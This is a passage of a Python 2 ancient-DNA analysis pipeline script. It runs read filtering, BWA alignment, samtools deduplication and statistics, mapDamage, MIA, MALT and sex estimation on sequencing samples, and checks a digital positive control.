lengths.',\n default=\"0.01\")\n parser.add_argument('-clipleft', metavar='<clipleft>',\n help='Number of bases to clip from left end of BAM file after mapDamage run.',\n default=\"0\")\n parser.add_argument('-clipright', metavar='<clipright>',\n help='Number of bases to clip from right end of BAM file after mapDamage run.',\n default=\"0\")\n parser.add_argument('-maltdb', metavar='<maltdb>', help='MALT database.',\n default=\"/data/db/malt/nr/\")\n parser.add_argument('-maltblast', metavar='<maltblast>', help='MALT BLAST type.',\n default=\"BlastX\")\n parser.add_argument('-skipprinseq', dest='skipprinseq', help='Skip the prinseq part of script.',\n action='store_true')\n parser.set_defaults(overwrite=False)\n parser.add_argument('-chk_ref', metavar='<chk_ref>', help='Mapping references for checking digital positives',\n default='/data/genomes/hg19.fa')\n parser.add_argument('-bcpos_chk', metavar='<bcpos_chk>', help='Check value for barcoded digital positives',\n default=\"101080\")\n parser.add_argument('-nobcpos_chk', metavar='no<bcpos_chk>', help='Check value for non-barcoded digital positives',\n default=\"112685\")\n parser.add_argument('-rawreads', metavar='<rawreads>', help='Location of raw reads',\n default='/data/raw')\n parser.add_argument('-bc_trim', metavar='<bc_trim>', help='Location of barcode trimmed files',\n default='/data/barcodetrimmed')\n parser.add_argument('-megandir', metavar='<megandir>', help='MEGAN6 directory',\n default='/opt/megan')\n parser.add_argument('-krakendb', metavar='<krakendb>', help='KrakenDB location',\n default='/data/db/krakenDB')\n parser.add_argument('-blastdir', metavar='<blastdir>', help='BLAST db directory',\n default='/data/db/BLAST')\n parser.add_argument('-scriptsdir', metavar='<scriptsdir>', help='Default scripts directory',\n default='/data/scripts')\n\n\n\n\n args = parser.parse_args()\n wd = args.wd\n bcfile = args.bc_file\n mia_ref = args.mia_ref\n mtdna = args.mtdna\n index_algorithm = args.index_algorithm\n seed_disable = args.seed_disable\n threads = args.threads\n q = args.q\n adna_matrix = args.adna_matrix\n max_misincorp_frequency = args.max_misincorp_frequency\n read_plot_length = args.read_plot_length\n max_read_length = args.max_read_length\n bformat = bool(args.bformat)\n\n\n skipprinseq = bool(args.skipprinseq)\n\n\n frag_length_r = args.frag_length_r\n bwaindex = bool(args.bwaindex)\n nomia = bool(args.nomia)\n malt = bool(args.malt)\n nosexest = bool(args.nosexest)\n kraken = bool(args.kraken)\n diamond = bool(args.diamond)\n diamondblock = args.diamondblock\n diamondtmp = args.diamondtmp\n overwrite = bool(args.overwrite)\n verbose = bool(args.verbose)\n refs = args.refs\n sexref = args.sexref\n bwamaxedit = args.bwamaxedit\n clipleft = args.clipleft\n clipright = args.clipright\n maltdb = args.maltdb\n maltblast = args.maltblast\n\n chk_ref = args.chk_ref\n bcpos_chk = args.bcpos_chk\n nobcpos_chk = args.nobcpos_chk\n rawreads = args.rawreads\n bc_trim = args.bc_trim\n seqprep_output = args.seqprep_output\n megandir = args.megandir\n krakendb = args.krakendb\n blastdir = args.blastdir\n scriptsdir = args.scriptsdir\n\n arefs = [\"/data/genomes/hg19.fa\", \"/data/genomes/rCRS.fas\"]\n for ref in refs:\n arefs.append(ref)\n\n os.chdir(wd)\n cwd = os.getcwd()\n print \"Working in: \", cwd\n\n today = datetime.date.today()\n rightnow = str(datetime.datetime.now().time())\n logfilename = wd + \"/out.map.\" + str(today) + \".log\"\n logfile = open(logfilename, 'w')\n print \"Logging to: \", logfilename\n\n logfile.write(\"Arguments used:\\n\")\n logfile.write(\"__________________________________________:\\n\")\n for arg in vars(args):\n logfile.write(arg)\n logfile.write(\"\\t\")\n logfile.write(str(getattr(args, arg)))\n logfile.write(\"\\n\")\n\n refdic = {}\n logfile.write(\"Reference sequences used: \\n\")\n for ref in arefs:\n refname = os.path.basename(ref)\n filebase, fileext = os.path.splitext(refname)\n refdic[filebase] = ref\n logfile.write(ref + \"\\n\")\n logfile.write(\"-------------------\\n\")\n\n\n chkbasename = os.path.basename(chk_ref)\n chk_name, fileext = os.path.splitext(chkbasename)\n\n cmdfile = open(\"1_cmds\", 'w')\n\n newdir = wd + \"/Frag_lengths\"\n if os.path.exists(newdir):\n pass\n else:\n os.mkdir(newdir)\n\n newdir = wd + \"/mapDamage\"\n if os.path.exists(newdir):\n pass\n else:\n os.mkdir(newdir)\n\n logfile.write(\"Parameters used: \\n\")\n logfile.write(\"Prinseq lite, lc_method = dust, threshold 7\\n\")\n logfile.write(\"BWA aln -l \" + seed_disable + \" -n \" + bwamaxedit + \" -t \" + threads + \"\\n\")\n logfile.write(\"Map quality cutoff = \" + q + \"\\n\")\n logfile.write(\"\\n-------------------------------------------------\\n\")\n\n\n\n shutil.copy(\"/data/raw/bcpos_S00_L00_R1_001.fastq.gz\", \"/data/raw/bcpos-\" + rightnow + \"_S00_L00_R1_001.fastq.gz\")\n shutil.copy(\"/data/raw/bcpos_S00_L00_R2_001.fastq.gz\", \"/data/raw/bcpos-\" + rightnow + \"_S00_L00_R2_001.fastq.gz\")\n shutil.copy(\"/data/raw/nobcpos_S00_L00_R1_001.fastq.gz\", \"/data/raw/nobcpos-\" + rightnow + \"_S00_L00_R1_001.fastq.gz\")\n shutil.copy(\"/data/raw/nobcpos_S00_L00_R2_001.fastq.gz\", \"/data/raw/nobcpos-\" + rightnow + \"_S00_L00_R2_001.fastq.gz\")\n\n\n\n bcin = open(bcfile, 'r')\n bc = []\n barcodespresent = True\n for bcinline in bcin:\n bccols = bcinline.split()\n if len(bccols) > 3:\n barcodespresent = True\n else:\n barcodespresent = False\n bc.append(bcinline)\n\n\n posdummy = open(\"posdummy.txt\", 'w')\n if barcodespresent:\n if bformat:\n posdummy.write(\"bcpos-\"+rightnow+\"\tbcpos-\"+rightnow+\"\tTCGAACA\tAGCACAT ATGTGCT TGTTCGA\")\n else:\n posdummy.write(\"bcpos-\"+rightnow+\"\tbcpos-\"+rightnow+\"\t198\t205\")\n else:\n posdummy.write(\"nobcpos-\"+rightnow+\"\tnobcpos-\"+rightnow+\"\t\t\")\n\n\n posdummy.close()\n print \"Running 0_trim_barcodes on digital positive\"\n posdummyline = \"0_trim_barcodes.py -bc_file posdummy.txt -overwrite -nopos\"\n if bformat:\n posdummyline += \" -bformat\"\n bash_command(posdummyline)\n\n if bformat:\n bcposline = \"bcpos-\"+rightnow+\"\tbcpos-\"+rightnow+\"\tTCGAACA\tAGCACAT ATGTGCT TGTTCGA\"\n else:\n bcposline = \"bcpos-\"+rightnow+\"\tbcpos-\"+rightnow+\"\t198\t205\"\n nobcposline = \"nobcpos-\"+rightnow+\"\tnobcpos-\"+rightnow+\"\t\t\"\n if barcodespresent:\n bc.append(bcposline)\n else:\n bc.append(nobcposline)\n\n\n bclength = len(bc)\n print \"Number of entries: \", bclength\n\n flist = []\n\n filestorezip = []\n\n print \"\\nUncompressing...\"\n bar = progressbar.ProgressBar()\n for i in bar(range(bclength)):\n bcline = bc[i]\n bccols = bcline.split()\n in_sample = bccols[0]\n out_sample = bccols[1]\n output = wd + \"/\" + out_sample\n so_s = seqprep_output + \"/\" + in_sample\n flist.append(in_sample)\n\n logfile.write(\"Uncompressing \" + in_sample + \"\\n\")\n\n if not os.path.isfile(so_s + \".M.fq\"): # merged reads\n with gzip.open(so_s + \".M.fq.gz\", 'rb') as f_in, open(so_s + \".M.fq\", 'wb') as f_out:\n shutil.copyfileobj(f_in, f_out)\n if not os.path.isfile(so_s + \".F.fq\"): # forward reads\n with gzip.open(so_s + \".F.fq.gz\", 'rb') as f_in, open(so_s + \".F.fq\", 'wb') as f_out:\n shutil.copyfileobj(f_in, f_out)\n if not os.path.isfile(so_s + \".R.fq\"): # reverse reads\n with gzip.open(so_s + \".R.fq.gz\", 'rb') as f_in, open(so_s + \".R.fq\", 'wb') as f_out:\n shutil.copyfileobj(f_in, f_out)\n filestorezip.append(so_s + \".M.fq\")\n filestorezip.append(so_s + \".F.fq\")\n filestorezip.append(so_s + \".R.fq\")\n\n flength = len(flist)\n print \"Number of entries: \", flength\n\n if not skipprinseq:\n print \"\\nComplexity filtering using prinseq...\"\n bar = progressbar.ProgressBar()\n for i in bar(range(bclength)):\n bcline = bc[i]\n bccols = bcline.split()\n in_sample = bccols[0]\n out_sample = bccols[1]\n output = wd + \"/\" + out_sample\n so_s = seqprep_output + \"/\" + in_sample\n\n logfile.write('Prinseq removing low complexity from merged ' + in_sample + \"\\n\")\n bash_command(\n \"perl \" + scriptsdir + \"/prinseq-lite.pl -fastq \" + so_s + \".M.fq -out_good \" + so_s + \".M.cf -out_bad null -lc_method dust -lc_threshold 7 -line_width 0\")\n\n bash_command(\n \"perl \" + scriptsdir + \"/combinePairedEndReads.pl \" + so_s + \".F.fq \" + so_s + \".R.fq \" + so_s + \".uM_combined.fastq\")\n\n bash_command(\n \"perl \" + scriptsdir + \"/prinseq-lite.pl -fastq \" + so_s + \".uM_combined.fastq -out_good \" + so_s + \".uM_combined.cf -out_bad null -lc_method dust -lc_threshold 7 -line_width 0\")\n\n bash_command(\"perl \" + scriptsdir + \"/splitPairedEndReads.pl \" + so_s + \".uM_combined.cf.fastq\")\n\n if os.path.isfile(so_s + \".uM_combined.cf.fastq_1\"):\n shutil.move(so_s + \".uM_combined.cf.fastq_1\", so_s + \".F.cf.fastq\")\n filestorezip.append(so_s + \".F.cf.fastq\")\n if os.path.isfile(so_s + \".uM_combined.cf.fastq_2\"):\n shutil.move(so_s + \".uM_combined.cf.fastq_2\", so_s + \".R.cf.fastq\")\n filestorezip.append(so_s + \".R.cf.fastq\")\n\n filestorezip.append(so_s + \".M.cf.fastq\")\n\n logfile.write(\"Removing \" + in_sample + \"\\n\")\n sopattern = in_sample + \".uM_combined*.fastq\"\n files = os.listdir(seqprep_output)\n soname = None\n for name in files:\n if (fnmatch.fnmatch(name, sopattern)):\n os.remove(seqprep_output + \"/\" + name)\n\n print \"\\nCreating BWA directories...\"\n bar = progressbar.ProgressBar()\n for i in bar(range(bclength)):\n bcline = bc[i]\n bccols = bcline.split()\n in_sample = bccols[0]\n out_sample = bccols[1]\n output = wd + \"/\" + out_sample\n so_s = seqprep_output + \"/\" + in_sample\n for key, value in refdic.iteritems():\n newdir = output + \"/BWA_\" + key\n if overwrite:\n if os.path.exists(newdir):\n shutil.rmtree(newdir)\n os.mkdir(newdir)\n else:\n if os.path.exists(newdir):\n print \"ERROR: Directory \" + newdir + \" exists and overwrite not set to true. Exiting.\"\n exit(1)\n else:\n os.mkdir(newdir)\n\n ########### BWA - aligning reads to a reference sequence ############\n if bwaindex:\n for key, value in refdic.iteritems():\n logfile.write(\"Indexing to \" + key + \"...\\n\")\n bash_command(\"bwa index -p \" + value + \" -a \" + index_algorithm + \" \" + value)\n\n for key, value in refdic.iteritems():\n print \"\\nAligning complexity-filtered merged reads to \" + key + \"...\"\n bar = progressbar.ProgressBar()\n for i in bar(range(bclength)):\n bcline = bc[i]\n bccols = bcline.split()\n in_sample = bccols[0]\n out_sample = bccols[1]\n output = wd + \"/\" + out_sample\n so_s = seqprep_output + \"/\" + in_sample\n bwa_output = wd + \"/\" + out_sample + \"/BWA_\" + key\n bwa_align_se(key, value, so_s, \".M.cf\", bwa_output, out_sample, q)\n\n for key, value in refdic.iteritems():\n print \"\\nAligning complexity-filtered unmerged reads to \" + key + \"...\"\n bar = progressbar.ProgressBar()\n for i in bar(range(bclength)):\n bcline = bc[i]\n bccols = bcline.split()\n in_sample = bccols[0]\n out_sample = bccols[1]\n output = wd + \"/\" + out_sample\n so_s = seqprep_output + \"/\" + in_sample\n bwa_output = wd + \"/\" + out_sample + \"/BWA_\" + key\n bwa_align_pe(key, value, so_s, \".uM.cf.pe\", bwa_output, out_sample, \".F.cf\", \".R.cf\", q)\n\n for key, value in refdic.iteritems():\n print \"\\nCombining filtered merged and unmerged BAMs for \" + key + \"...\"\n bar = progressbar.ProgressBar()\n for i in bar(range(bclength)):\n bcline = bc[i]\n bccols = bcline.split()\n in_sample = bccols[0]\n out_sample = bccols[1]\n output = wd + \"/\" + out_sample\n so_s = seqprep_output + \"/\" + in_sample\n bwa_output = wd + \"/\" + out_sample + \"/BWA_\" + key\n bo_s = bwa_output + \"/\" + out_sample\n\n logfile.write(\"-------------------------------------------------\" + \"\\n\")\n logfile.write(\"Combining filtered merged and unmerged BAMs for \" + out_sample + \"\\n\")\n bash_command(\"samtools merge -f \" + bo_s + \"_allreads.cf.\" + key + \".q\" + q + \".bam \" + bo_s + \".M.cf.\" \\\n + key + \".q\" + q + \".s.bam \" + bo_s \\\n + \".uM.cf.pe.\" + key + \".q\" + q + \".s.bam\")\n # Sort and index allreads BAM file\n bash_command(\n \"samtools sort \" + bo_s + \"_allreads.cf.\" + key + \".q\" + q + \".bam -o \" + bo_s + \"_allreads.cf.\" + key + \".q\" + q + \".s.bam -T \" + out_sample + \".all\")\n bash_command(\"samtools index \" + bo_s + \".M.cf.\" + key + \".q\" + q + \".s.bam\")\n bash_command(\"samtools index \" + bo_s + \"_allreads.cf.\" + key + \".q\" + q + \".s.bam\")\n\n # Remove duplicates and index, for all reads and merged reads using Dedup\n # # All reads\n logfile.write(\"-------------------------------------------------\" + \"\\n\")\n logfile.write(\"Removing duplicates and indexing BAM for \" + out_sample + \" allreads\" + \"\\n\")\n\n bash_command(\n \"java -jar $DEDUP -m -i \" + bo_s + \"_allreads.cf.\" + key + \".q\" + q + \".s.bam -o \" + bwa_output + \"/\")\n shutil.move(bo_s + \"_allreads.cf.\" + key + \".q\" + q + \".s_rmdup.bam\",\n bo_s + \"_allreads.cf.\" + key + \".q\" + q + \".s.rd.bam\")\n\n bash_command(\"samtools index \" + bo_s + \"_allreads.cf.\" + key + \".q\" + q + \".s.rd.bam\")\n\n # Merged Reads\n logfile.write(\"-------------------------------------------------\" + \"\\n\")\n logfile.write(\"Removing duplicates and indexing BAM for \" + out_sample + \" merged\" + \"\\n\")\n bash_command(\"java -jar $DEDUP -m -i \" + bo_s + \".M.cf.\" + key + \".q\" + q + \".s.bam -o \" + bwa_output + \"/\")\n shutil.move(bo_s + \".M.cf.\" + key + \".q\" + q + \".s_rmdup.bam\",\n bo_s + \".M.cf.\" + key + \".q\" + q + \".s.rd.bam\")\n bash_command(\"samtools index \" + bo_s + \".M.cf.\" + key + \".q\" + q + \".s.rd.bam\")\n\n logfile.write(\"-------------------------------------------------\" + \"\\n\")\n logfile.write(\"Writing summary flagstat files for \" + out_sample + \"\\n\")\n\n # Get reads that are uniquely mapping\n samfline = \"samtools view -h \" + bo_s + \".M.cf.\" + key + \".q\" + q + \".s.rd.bam\"\n samfgreplines = \" |grep -v 'XT:A:R'|grep -v 'XA:Z' |grep -v 'XT:A:M' |awk '{if($0~/X1:i:0/||$0~/^@/)print $0}' |\"\n samgline = \"samtools view -bS - > \" + bo_s + \".M.cf.\" + key + \".q\" + q + \".s.rd.uniq.bam\"\n bash_command(samfline + samfgreplines + samgline)\n\n samfallline = \"samtools view -h \" + bo_s + \"_allreads.cf.\" + key + \".q\" + q + \".s.rd.bam\"\n samgallline = \"samtools view -bS - > \" + bo_s + \"_allreads.cf.\" + key + \".q\" + q + \".s.rd.uniq.bam\"\n bash_command(samfallline + samfgreplines + samgallline)\n\n # print average lengths of mapped reads using awk\n logfile.write(\n \"Average length of uniquely mapping MERGED reads \" + out_sample + \" >> ./ avgmappedlen.\" + key + \".M.q\" + q + \".txt\" + \"\\n\")\n bash_command(\n \"samtools view \" + bo_s + \".M.cf.\" + key + \".q\" + q + \".s.rd.uniq.bam | awk '{SUM+=length($10);DIV++}END{print SUM/DIV}' >> ./avgmappedlen.\" + key + \".M.q\" + q + \".txt\" + \"\\n\")\n\n # sorted\n bash_command(\n \"samtools flagstat \" + bo_s + \".M.cf.\" + key + \".q\" + q + \".s.bam > \" + bo_s + \".M.cf.\" + key + \".q\" + q + \".s.flagstat.txt\")\n bash_command(\n \"samtools flagstat \" + bo_s + \"_allreads.cf.\" + key + \".q\" + q + \".s.bam > \" + bo_s + \"_allreads.cf.\" + key + \".q\" + q + \".s.flagstat.txt\")\n\n # sorted, duplicates removed\n bash_command(\n \"samtools flagstat \" + bo_s + \".M.cf.\" + key + \".q\" + q + \".s.rd.bam > \" + bo_s + \".M.cf.\" + key + \".q\" + q + \".s.rd.flagstat.txt\")\n bash_command(\n \"samtools flagstat \" + bo_s + \"_allreads.cf.\" + key + \".q\" + q + \".s.rd.bam > \" + bo_s + \"_allreads.cf.\" + key + \".q\" + q + \".s.rd.flagstat.txt\")\n\n # sorted\n bash_command(\n \"samtools idxstats \" + bo_s + \".M.cf.\" + key + \".q\" + q + \".s.bam > \" + bo_s + \".M.cf.\" + key + \".q\" + q + \".s.idxstats\")\n bash_command(\n \"samtools idxstats \" + bo_s + \"_allreads.cf.\" + key + \".q\" + q + \".s.bam > \" + bo_s + \"_allreads.cf.\" + key + \".q\" + q + \".s.idxstats\")\n\n # sorted, duplicates removed\n bash_command(\n \"samtools idxstats \" + bo_s + \".M.cf.\" + key + \".q\" + q + \".s.rd.bam > \" + bo_s + \".M.cf.\" + key + \".q\" + q + \".s.rd.idxstats\")\n bash_command(\n \"samtools idxstats \" + bo_s + \"_allreads.cf.\" + key + \".q\" + q + \".s.rd.bam > \" + bo_s + \"_allreads.cf.\" + key + \".q\" + q + \".s.rd.idxstats\")\n\n\n\n #Check digital positive\n co_s = \"\"\n\n if barcodespresent:\n co_s += \"bcpos-\" + rightnow\n else:\n co_s += \"nobcpos-\" + rightnow\n\n co_s += \"/BWA_\" + chk_name + \"/\"\n\n if barcodespresent:\n co_s += \"bcpos-\" + rightnow\n else:\n co_s += \"nobcpos-\" + rightnow\n\n\n chk_merged_filtered_bam = bash_command(\"samtools view -c \" + co_s + \".M.cf.*.q*.s.bam\").strip()\n\n\n\n if barcodespresent:\n if chk_merged_filtered_bam != bcpos_chk:\n print \"ERROR barcode positive control merged_filtered_bam should read close to \" + bcpos_chk + \" but reads \" + str(\n chk_merged_filtered_bam)\n exit(1)\n else:\n\n if chk_merged_filtered_bam != nobcpos_chk:\n print \"ERROR no barcode positive control merged_filtered_bam should read close to\" + nobcpos_chk + \" but is \" + str(\n chk_merged_filtered_bam)\n exit(1)\n\n # Compute fragment length distributions of all reads in the library (mapped)\n for key, value in refdic.iteritems():\n print \"\\nFragment length distributions from sorted bam file for \" + key + \"...\"\n bar = progressbar.ProgressBar()\n for i in bar(range(bclength)):\n bcline = bc[i]\n bccols = bcline.split()\n in_sample = bccols[0]\n out_sample = bccols[1]\n output = wd + \"/\" + out_sample\n so_s = seqprep_output + \"/\" + in_sample\n bwa_output = wd + \"/\" + out_sample + \"/BWA_\" + key\n bo_s = bwa_output + \"/\" + out_sample\n frag_lengths = wd + \"/Frag_lengths\"\n\n bash_command(\n \"samtools view \" + bo_s + \"_allreads.cf.\" + key + \".q\" + q + \".s.bam | awk '{print length($10)}'| sort -n | uniq -c | awk '{print $1\\\"\\t\\\"$2}' | tail -n +2 > \" + frag_lengths + \"/\" + out_sample + \"_allreads.cf.\" + key + \".q\" + q + \".s.fraglen.txt\")\n rscrline = \"Rscript \" + frag_length_r + \" \" + frag_lengths + \"/\" + out_sample + \"_allreads.cf.\" + key + \".q\" + q + \".s.fraglen.txt \" + frag_lengths + \"/\" + out_sample + \"_allreads.cf.\" + key + \".q\" + q + \".s.fraglen.pdf\"\n bash_command(rscrline)\n\n for key, value in refdic.iteritems():\n print \"\\nMaking mapDamage plots for all quality filtered mapped reads \" + key + \"...\"\n bar = progressbar.ProgressBar()\n for i in bar(range(bclength)):\n bcline = bc[i]\n bccols = bcline.split()\n in_sample = bccols[0]\n out_sample = bccols[1]\n output = wd + \"/\" + out_sample\n so_s = seqprep_output + \"/\" + in_sample\n bwa_output = wd + \"/\" + out_sample + \"/BWA_\" + key\n bo_s = bwa_output + \"/\" + out_sample\n\n newdir = wd + \"/mapDamage/mapDamage_\" + out_sample + \"_\" + key\n if overwrite:\n if os.path.exists(newdir):\n shutil.rmtree(newdir)\n os.mkdir(newdir)\n else:\n if os.path.exists(newdir):\n print \"ERROR: Directory \" + newdir + \" exists and overwrite not set to true. Exiting.\"\n exit(1)\n else:\n os.mkdir(newdir)\n\n logfile.write(\"----------------------------------------------------\" + \"\\n\")\n logfile.write(\n \"Making mapDamage plots for all quality filtered mapped reads \" + out_sample + \" \" + key + \"\\n\")\n\n bash_command(\"mapDamage -i \" + bo_s + \"_allreads.cf.\" + key + \".q\" + q + \".s.bam -r \" + value + \" -l \" \\\n + max_read_length + \" --merge-reference-sequences --no-stats -d \" + wd + \"/mapDamage/mapDamage_\" + out_sample \\\n + \"_\" + key + \" -y \" + max_misincorp_frequency + \" -m \" + read_plot_length + \" -t \" + key + \"_\" + out_sample)\n\n #Rename mapDamage output\n if os.path.isfile(wd + \"/mapDamage/mapDamage_\" + out_sample + \"_\" + key + \"/Fragmisincorporation_plot.pdf\"):\n shutil.move(wd + \"/mapDamage/mapDamage_\" + out_sample + \"_\" + key + \"/Fragmisincorporation_plot.pdf\", wd + \"/mapDamage/mapDamage_\" + out_sample + \"_\" + key + \"/\" + out_sample + \"-Fragmisincorporation_plot.pdf\")\n if os.path.isfile(wd + \"/mapDamage/mapDamage_\" + out_sample + \"_\" + key + \"/Length_plot.pdf\"):\n shutil.move(wd + \"/mapDamage/mapDamage_\" + out_sample + \"_\" + key + \"/Length_plot.pdf\",\n wd + \"/mapDamage/mapDamage_\" + out_sample + \"_\" + key + \"/\" + out_sample + \"-Length_plot.pdf\")\n\n logfile.write(\"mapDamage plots finished \" + out_sample + \" \" + key + \"\\n\")\n logfile.write(\"----------------------------------------------------\" + \"\\n\")\n\n logfile.write(\"\\n\\n Clipping bases from BAM files with bamUtils\\n\")\n for key, value in refdic.iteritems():\n print \"\\nClipping ends with bamUtil... \" + key + \"...\"\n bar = progressbar.ProgressBar()\n for i in bar(range(bclength)):\n\n bcline = bc[i]\n bccols = bcline.split()\n in_sample = bccols[0]\n out_sample = bccols[1]\n output = wd + \"/\" + out_sample\n so_s = seqprep_output + \"/\" + in_sample\n bwa_output = wd + \"/\" + out_sample + \"/BWA_\" + key\n bo_s = bwa_output + \"/\" + out_sample\n\n if os.path.isfile(bo_s + \"_allreads.cf.\" + key + \".q\" + q + \".s.rd.uniq.bam\"):\n bash_command(\n \"bam trimBam \" + bo_s + \"_allreads.cf.\" + key + \".q\" + q + \".s.rd.uniq.bam \" + bo_s + \"_allreads.cf.\" + key + \".q\" + q + \".s.rd.uniq.clip.bam -L \" + clipleft + \" -R \" + clipright)\n bash_command(\"samtools index \" + bo_s + \"_allreads.cf.\" + key + \".q\" + q + \".s.rd.uniq.bam\")\n if os.path.isfile(bo_s + \".M.cf.\" + key + \".q\" + q + \".s.rd.uniq.bam\"):\n bash_command(\n \"bam trimBam \" + bo_s + \".M.cf.\" + key + \".q\" + q + \".s.rd.uniq.bam \" + bo_s + \".M.cf.\" + key + \".q\" + q + \".s.rd.uniq.clip.bam -L \" + clipleft + \" -R \" + clipright)\n bash_command(\"samtools index \" + bo_s + \".M.cf.\" + key + \".q\" + q + \".s.rd.uniq.bam\")\n\n if not nomia:\n print \"\\nMEGAN and MIA -- Initial data processing...\"\n bar = progressbar.ProgressBar()\n for i in bar(range(bclength)):\n bcline = bc[i]\n bccols = bcline.split()\n in_sample = bccols[0]\n out_sample = bccols[1]\n output = wd + \"/\" + out_sample\n so_s = seqprep_output + \"/\" + in_sample\n bwa_output = wd + \"/\" + out_sample + \"/BWA_\" + key\n bo_s = bwa_output + \"/\" + out_sample\n\n # Concatenate merged and unmerged reads - MEGAN and MIA\n logfile.write(\"----------------------------------------------------\" + \"\\n\")\n logfile.write(\"Prepping \" + out_sample + \" for MIA\" + \"\\n\")\n bash_command(\n \"cat \" + so_s + \".M.cf.fastq \" + so_s + \".F.cf.fastq \" + so_s + \".R.cf.fastq > \" + so_s + \".all.SP.cf.fastq\")\n filestorezip.append(so_s + \".all.SP.cf.fastq\")\n\n # Convert FASTQ to FASTA - MEGAN and MIA (capture only)\n bash_command(\"fastq_to_fasta -n -Q33 -r -i \" + so_s + \".all.SP.cf.fastq -o \" + so_s + \".all.SP.cf.fasta\")\n filestorezip.append(so_s + \".all.SP.cf.fasta\")\n\n # Collapse identical reads - forward, reverse, and 5' duplicates - MEGAN and MIA (capture only)\n logfile.write(\"Collapsing identical reads with prinseq lite\" + \"\\n\")\n bash_command(\n \"perl \" + scriptsdir + \"/prinseq-lite.pl -fasta \" + so_s + \".all.SP.cf.fasta -out_good \" + so_s + \".all.SP.cf.rd -out_bad null -derep 124 -line_width 0\")\n filestorezip.append(so_s + \".all.SP.cf.rd.fasta\")\n logfile.write(\"----------------------------------------------------\" + \"\\n\")\n\n print \"\\nStarting MIA with \" + mia_ref + \" and using merged/unmerged rmdup complexity filtered reads...\"\n bar = progressbar.ProgressBar()\n for i in bar(range(bclength)):\n bcline = bc[i]\n bccols = bcline.split()\n in_sample = bccols[0]\n out_sample = bccols[1]\n output = wd + \"/\" + out_sample\n so_s = seqprep_output + \"/\" + in_sample\n bwa_output = wd + \"/\" + out_sample + \"/BWA_\" + key\n bo_s = bwa_output + \"/\" + out_sample\n mia_output = wd + \"/\" + out_sample + \"/MIA_output\"\n\n newdir = mia_output\n if overwrite:\n if os.path.exists(newdir):\n shutil.rmtree(newdir)\n os.mkdir(newdir)\n else:\n if os.path.exists(newdir):\n print \"ERROR: Directory \" + newdir + \" exists and overwrite not set to true. Exiting.\"\n exit(1)\n else:\n os.mkdir(newdir)\n\n mia_s = mia_output + \"/\" + out_sample\n logfile.write(\n \"Starting MIA with\" + mia_ref + \"and using merged/unmerged rmdup complexity filtered reads\" + \"\\n\")\n bash_command(\n \"mia -r \" + mtdna + \" -f \" + so_s + \".all.SP.cf.rd.fasta -c -C -U -s \" + adna_matrix + \" -i -F -k 14 -m \" + mia_s + \".all.SP.cf.rd.\" + mia_ref + \".maln\")\n bash_command(\n \"ma -M \" + mia_s + \".all.SP.cf.rd.\" + mia_ref + \".maln.* -f 3 > \" + mia_s + \".all.SP.cf.rd.\" + mia_ref + \".maln.F.mia_stats.txt\")\n bash_command(\n \"ma -M \" + mia_s + \".all.SP.cf.rd.\" + mia_ref + \".maln.* -f 2 > \" + mia_s + \".all.SP.cf.rd.\" + mia_ref + \".maln.F.mia_coverage_per_site.txt\")\n bash_command(\n \"ma -M \" + mia_s + \".all.SP.cf.rd.\" + mia_ref + \".maln.* -f 5 > \" + mia_s + \".all.SP.cf.rd.\" + mia_ref + \".maln.F.mia_consensus.fasta\")\n bash_command(\n \"ma -M \" + mia_s + \".all.SP.cf.rd.\" + mia_ref + \".maln.* -f 41 > \" + mia_s + \".all.SP.cf.rd.\" + mia_ref + \".maln.F.inputfornext.txt\")\n bash_command(\"perl /data/scripts/mia_consensus_coverage_filter.pl -c 3 -I < \" + mia_s + \".all.SP.cf.rd.\" + mia_ref + \".maln.F.inputfornext.txt > \" + mia_s + \".all.SP.cf.rd.\" + mia_ref + \".maln.F.3xFiltered.consensus.fas\")\n\n if malt:\n print \"\\nPerforming MALT analysis...\"\n bar = progressbar.ProgressBar()\n for i in bar(range(bclength)):\n bcline = bc[i]\n bccols = bcline.split()\n in_sample = bccols[0]\n out_sample = bccols[1]\n output = wd + \"/\" + out_sample\n so_s = seqprep_output + \"/\" + in_sample\n bwa_output = wd + \"/\" + out_sample + \"/BWA_\" + key\n bo_s = bwa_output + \"/\" + out_sample\n malt_output = output + \"/MALT_output\"\n\n newdir = malt_output\n if overwrite:\n if os.path.exists(newdir):\n shutil.rmtree(newdir)\n os.mkdir(newdir)\n else:\n if os.path.exists(newdir):\n print \"ERROR: Directory \" + newdir + \" exists and overwrite not set to true. Exiting.\"\n exit(1)\n else:\n os.mkdir(newdir)\n\n malt_s = malt_output + \"/\" + out_sample\n logfile.write(\"Performing MALT analysis \" + out_sample + \"\\n\")\n bash_command(\"malt-run -i \" + so_s + \".all.SP.cf.rd.fasta -d \" + maltdb + \" -m \" + maltblast + \" -o \" + malt_output + \" -t \" + threads)\n logfile.write(\"Done with MALT analysis\" + \"\\n\")\n logfile.write(\"----------------------------------------------------\" + \"\\n\")\n\n if not nosexest:\n print \"\\nPontus Skoglund's sex estimation...\"\n\n sexreffullname = os.path.basename(sexref)\n sexrefname, fileext = os.path.splitext(sexreffullname)\n\n bar = progressbar.ProgressBar()\n for i in bar(range(bclength)):\n bcline = bc[i]\n bccols = bcline.split()\n in_sample = bccols[0]\n out_sample = bccols[1]\n output = wd + \"/\" + out_sample\n so_s = seqprep_output + \"/\" + in_sample\n bwa_output = wd + \"/\" + out_sample + \"/BWA_\" + key\n\n sexref_output = output + \"/BWA_\" + sexrefname\n bo_s = sexref_output + \"/\" + out_sample\n\n # Lets not have a divide by zero stop the groovy train here...\n chkpipe = subprocess.Popen(\n ['/bin/bash', '-c', \"samtools view -q 30 \" + bo_s + \".M.cf.\" + sexrefname + \".q\" + q + \".s.rd.bam\"],\n stdout=PIPE)\n chkout = chkpipe.communicate()[0]\n if chkout:\n logfile.write(\"Running sex estimation \" + out_sample + \"\\n\")\n logfile.write(\"Sex summary \" + out_sample + \" >> \" + output + \"/\" + out_sample + \".sex.txt\" + \"\\n\")\n bash_command(\n \"samtools view -q 30 \" + bo_s + \".M.cf.\" + sexrefname + \".q\" + q + \".s.rd.bam | python /data/scripts/ry_compute.py >> \" + output + \"/\" + out_sample + \".sex.txt\")\n else:\n logfile.write(\n \"samtools view -q 30 \" + bo_s + \".M.cf.\" + sexrefname + \".q\" + q + \".s.rd.bam gives no output for ry_compute.py. No sex estimation peformed.\" + \"\\n\")\n\n bash_command(\n \"samtools idxstats \" + bo_s + \".M.cf.\" + sexrefname + \".q\" + q + \".s.rd.bam > \" + bo_s + \".idxstats\")\n\n bash_command(\n \"Rscript /data/scripts/rx_identifier.r \" + bo_s + \" > \" + output + \"/\" + out_sample + \".Rx.txt\")\n if 